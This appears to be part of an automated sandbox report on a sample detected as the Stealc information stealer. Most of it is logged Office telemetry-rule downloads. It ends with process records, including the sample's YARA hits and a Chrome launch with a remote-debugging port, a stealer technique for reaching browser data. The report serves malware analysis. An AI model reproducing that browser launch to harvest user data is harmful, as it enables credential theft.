2024-10-30 01:28:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e20e9adc-401e-0083-18ae-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012820Z-16849878b78sx229w7g7at4nkg00000005f000000000ts67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:20 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:20 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 6a8dfae7-001e-000b-0c81-2915a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012820Z-17c5cb586f6hhlf5mrwgq3erx800000008s000000000932h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:20 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:20 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:20 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 0ede0bb0-401e-00a3-7094-298b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012820Z-17c5cb586f62blg5ss55p9d6fn000000085000000000adhe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:20 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:20 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:20 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:20 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012820Z-16849878b78xblwksrnkakc08w00000006k000000000h1pu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:20 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:21 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:21 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:21 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: ef1abc9b-501e-0029-5887-28d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012821Z-15b8d89586fbmg6qpd9yf8zhm0000000027000000000c947 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:21 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:21 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:21 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3452001d-001e-0065-12df-250b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012821Z-16849878b78hh85qc40uyr8sc800000007g000000000vvq2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:21 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:21 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012821Z-16849878b78wc6ln1zsrz6q9w800000007400000000001cz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:21 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:21 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:21 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 623250e5-d01e-00ad-1e9c-27e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012821Z-16849878b785dznd7xpawq9gcn00000008pg00000000n6fw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:21 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:21 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:21 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: c583980c-101e-008e-1237-26cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012821Z-17c5cb586f6sqz6f73fsew1zd8000000015g0000000026ev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:21 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:22 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:22 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:22 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 94cf4c5c-c01e-0034-1914-272af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012822Z-16849878b787wpl5wqkt5731b4000000082000000000fy39 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 01:28:22 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 01:28:22 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 01:28:22 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 01:28:22 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: de5f6a9b-601e-000d-3d18-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T012822Z-16849878b78j5kdg3dndgqw0vg0000000930000000007vgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 01:28:22 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Target ID:	0
Start time:	21:26:57
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x380000
File size:	2'134'016 bytes
MD5 hash:	DB3F4C8BB28DBC1306315F66BE015A9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2134581160.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1719489044.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2135739044.000000000105E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:27:15
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
